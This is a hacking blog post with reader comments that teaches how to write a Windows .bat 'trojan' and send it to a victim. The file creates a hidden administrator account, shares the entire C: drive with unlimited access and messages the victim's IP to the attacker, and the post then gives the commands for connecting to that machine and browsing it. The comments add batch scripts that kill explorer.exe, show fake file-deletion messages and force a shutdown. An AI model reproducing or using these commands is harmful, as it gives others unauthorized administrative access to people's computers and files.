|
|
|
In this post i will tell you How to create your own trojan horse in a .bat file,Helping you to hack into another persons computer.I had previously posted a tutorial on How to sent a trojan as a txt file but this post will explain you creating a Trojan in a .bat file to infect a Remote computer.
Creating a Trojan in a .bat file - Procdure
1.Go to start and click on run and type cmd
2.Now insert this command: net
And you will get something like this
NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
HELPMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION |
SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ]
Ok in this tutorial we well use 3 of the commands listed here
they are: net user , net share and net send
We will select some of those commands and put them on a .bat file.
What is a .bat file?
Bat file is a piece of text that windows will execute as commands.
Open notepad and write there:
dir
pause
And now save this as test.bat and execute it.
---------------------- Starting -------------------
-:Server:-
The plan here is to share the C: drive and make a new user
with administrators access
Step one -> Open a dos prompt and a notebook
The dos prompt will help you to test if the commands are ok
and the notebook will be used to make the .bat file.
Command n 1-> net user neo /add
What does this do? It makes a new user called neo you can put
any name you whant
Command n 2-> net localgroup administrators neo /add
This is the command that make your user go to the administrators
group.
Depending on the windows version the name will be different.
If you got an american version the name for the group is Administrators
and for the portuguese version is administradores so it's nice
yo know which version of windows xp you are going to try share.
Command n 3->net share system=C:\ /unlimited
This commands share the C: drive with the name of system.
Nice and those are the 3 commands that you will need to put on your
.bat file and send to your friend.
-!extras!-
Command n 4-> net send urip I am ur server
Where it says urip you will insert your ip and when the victim
opens the .bat it will send a message to your computer
and you can check the victim ip.
->To see your ip in the dos prompt put this command: ipconfig
-----------------------: Client :----------------
Now that your friend opened your .bat file her system have the
C: drive shared and a new administrator user.
First we need to make a session with the remote computer with
the net use command , you will execute these commands from your
dos prompt.
Command n 1 -> net use \\victimip neo
This command will make a session between you and the victim
Of course where it says victimip you will insert the victim ip.
Command n 2-> explorer \\victimip\system
And this will open a explorer windows in the share system wich is
the C: drive with administrators access.
Hope you liked the post! Pass the comments
Subscribe to our Newsletter and receive updates directly via email - Get Ethical hacking and security tips directly to your inbox. Alternatively you can Join our Hackers Community on Facebook , Google+ and Twitter .
Tags:
Viruses
Kindly Bookmark it and Share it with Friends:









Rafay Baloch is an Independent security researcher, Internet marketer, Entrepreneur and a SEO consultant, He is the founder of RHA blog and multiple other blogs. Rafay got famous after finding a Remote Code Execution bug inside PayPal for which PayPal awarded him a sum of 10,000$
26 comments :
how do you post the commands to the .bat file?
hey will it send the ip msg.....
pls tell me
@Anonymous
Make sure that you are following the steps correctly
Hey ! Rafay u r great .....but can u tell me how u put that subscribe to learn hacking in ur blog
@Wasif
Hi wasif,you can subscribe with the form given at the top
hey rafay nice sharing but after runing all those comands on my comand propmt for testing, it actually created an account in my own pc, so now can u tell me how to remove that new adiministrative aaccount?????
sup man i am a huge fan Ive read almost every post and Ive learned a lot. i would just like to say that on xp this works great, but commands 1 and 2 on the BAT don't work on win7(its been blocked. just thought id let ya know. but to tell ya the truth ya dont need those command if ur on the same network(so it works great in the work place and hotel and such)
ya everything fine but main thing is that where i will get message or other person ip with ........?
hey man... superb work up there......
but i didnt get much of that........
i wanna learn hacking for fun reason and ethical reasons... bt i wanna know a lot........
could u pls help me with that.......
is there any buk that can really serve the purpose 'coz i know nothing abt hacking................
anyways gud work,,,,
keeo it up..................
What if I have a dynamic IP? And it changes every time I connect to the internet?
Can you make a video ?
First let me say, I'm an idiot. I don't know shit. However, my problem is when I enter the second command in the dos prompt I get an error saying "the local group does not exist" even if I have made my own network. What could cause that?
i have adsl with default ip adress...and all people in the city have that internet...can u help me???
rafay it isnt workin on win7 plz help me
Hi,
I did this on my computer and ran the batch file, just to see what it would do. Now, I was wondering; how do I stop sharing my C: drive? Please help!
the last one i fail, it says the path //victimip is not a directory
You should create a video! i dont understand the "net send 'ur ip' I am ur server" explanation?
do you use internal or external ip
to Anonymous said... 6
you can write net user neo /delete
to remove the user account you have created earlier.
or you can go to control panel -> user accounts and remove the account
Can't access all the files on the infected computer, why?
how do I remove the net share command?
To stop share the C drive write this in cmd: net share C:\ /delete
I wrote this one and tested but didn't work. can anyone help?
cls
:A
color 0a
@echo off
echo Wscript.Sleep
echo Wscript.Sleep 5000>C:sleep5000.vbs
echo Wscript.Sleep 3000>C:sleep3000.vbs
echo Wscript.Sleep 4000>C:sleep4000.vbs
echo Wscript.Sleep 2000>C:sleep2000.vbs
cd %systemroot%System32
dir
cls
start /w wscript.exe C:sleep3000.vbs
echo Deleting Critical System Files...
echo del *.*
start /w wscript.exe C:sleep3000.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep2000.vbs
echo:
echo:
echo:
echo Deleting Root Partition...
start /w wscript.exe C:sleep2000.vbs
echo del %SYSTEMROOT%
start /w wscript.exe C:sleep4000.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep2000.vbs
echo:
echo:
echo:
echo Creating Directory h4x...
cd C:Documents and SettingsAll UsersStart MenuPrograms
mkdir h4x
start /w wscript.exe C:sleep3000.vbs
echo Directory Creation Successful!
echo:
echo:
echo:
echo Execution Attempt 1...
start /w wscript.exe C:sleep3000.vbs
echo cd C:Documents and SettingsAll UsersStart MenuProgramsStartuph4x
echo start hax.exe
start /w wscript.exe C:sleep3000.vbs
echo Virus Executed!
echo:
echo:
echo:
start /w wscript.exe C:sleep2000.vbs
echo Disabling Windows Firewall...
start /w wscript.exe C:sleep2000.vbs
echo Killing all processes...
start /w wscript.exe C:sleep2000.vbs
echo Allowing virus to boot from startup...
start /w wscript.exe C:sleep2000.vbs
echo:
echo:
echo Virus has been executed successfully!
start /w wscript.exe C:sleep2000.vbs
echo:
echo Have fun!
start /w wscript.exe C:sleep2000.vbs
pause
shutdown -f -s -c "Your computer has committed suicide. Have a nice day."
== Method No. 2 ==
Cause explorer.exe to stop
cls
color 0a
@echo off
title Internet Virus
echo.
echo Your PC has just recieved a virus from internet
echo.
echo Please don't try to exit.
echo.
echo Windows will automatically fix the virus...
echo.
echo Exiting this virus can cause severe harm to your computer
echo.
echo So please wait till the process ends
echo.
echo Collecting Information...
echo Collecting Information 50/100
echo Collecting Information Completed
echo.
echo Starting.......
echo.
echo Started
pause
echo.
:Start
echo Backing up your data to protect windows....
echo.
echo Backup Successful
pause
echo.
echo Creating list of files to be corrupted
echo explorer.exe
echo dxdiag
echo system32
echo run.exe
echo msoobe.exe
echo ncpa.cpl
echo windows (system files)
echo winupdate.exe
echo clock.bin
echo drivers.dll
pause
echo.
echo Starting Corrupting windows....
echo.
echo Service Started
echo.
echo Deleting File 1/10 explorer.exe
taskkill /f /im explorer.exe
echo.
echo Deleting File 2/10 dxdiag
echo Sucess..!!! File with the above name has been deleted sucessfully..!!
echo.
echo Deleting file 3/10 system32
echo Sucess..!!! File with the above name has been deleted sucessfully..!!
echo.
echo Deleting file 4/10 run.exe
echo Sucess..!!! File with the above name has been deleted sucessfully..!!
echo.
echo Deleting file 5/10 msoobe.exe
echo Sucess..!!! File with the above name has been deleted sucessfully..!!
echo.
echo Deleting file 6/10 ncpa.cpl
echo Sucess..!!! File with the above name has been deleted sucessfully..!!
echo.
echo Deleting File 7/10 windows (system files)
echo Sucess..!!! File with the above name has been deleted sucessfully..!!
echo.
echo Deleting file 8/10 winupdate.exe
echo Sucess..!!! File with the above name has been deleted sucessfully..!!
echo.
echo Deleting file 9/10 clock.bin
echo Sucess..!!! File with the above name has been deleted sucessfully..!!
echo.
echo Deleting file 10/10 drivers.dll
echo Sucess..!!! File with the above name has been deleted sucessfully..!!
echo.
echo Wait...
echo.
echo Loading....
echo.
echo Windows file deletion completed successfully
echo.
pause
echo Windows has been sucessfully corrupted....virus.bat installed
echo.
echo To restore windows press any key
pause
echo.
echo All files have been successfully corrupted and your OS is open for remote access
echo Thanks for opening this file (your computer has been access)
explorer.exe
exit
so i done it and a cmd screen opened up real quick and then closed did it work or not?
so i done it and then i ran it all that happened was a cmd screen pop'ed up and then disapeared real quick did it work?
Wow that worked , shot bro !!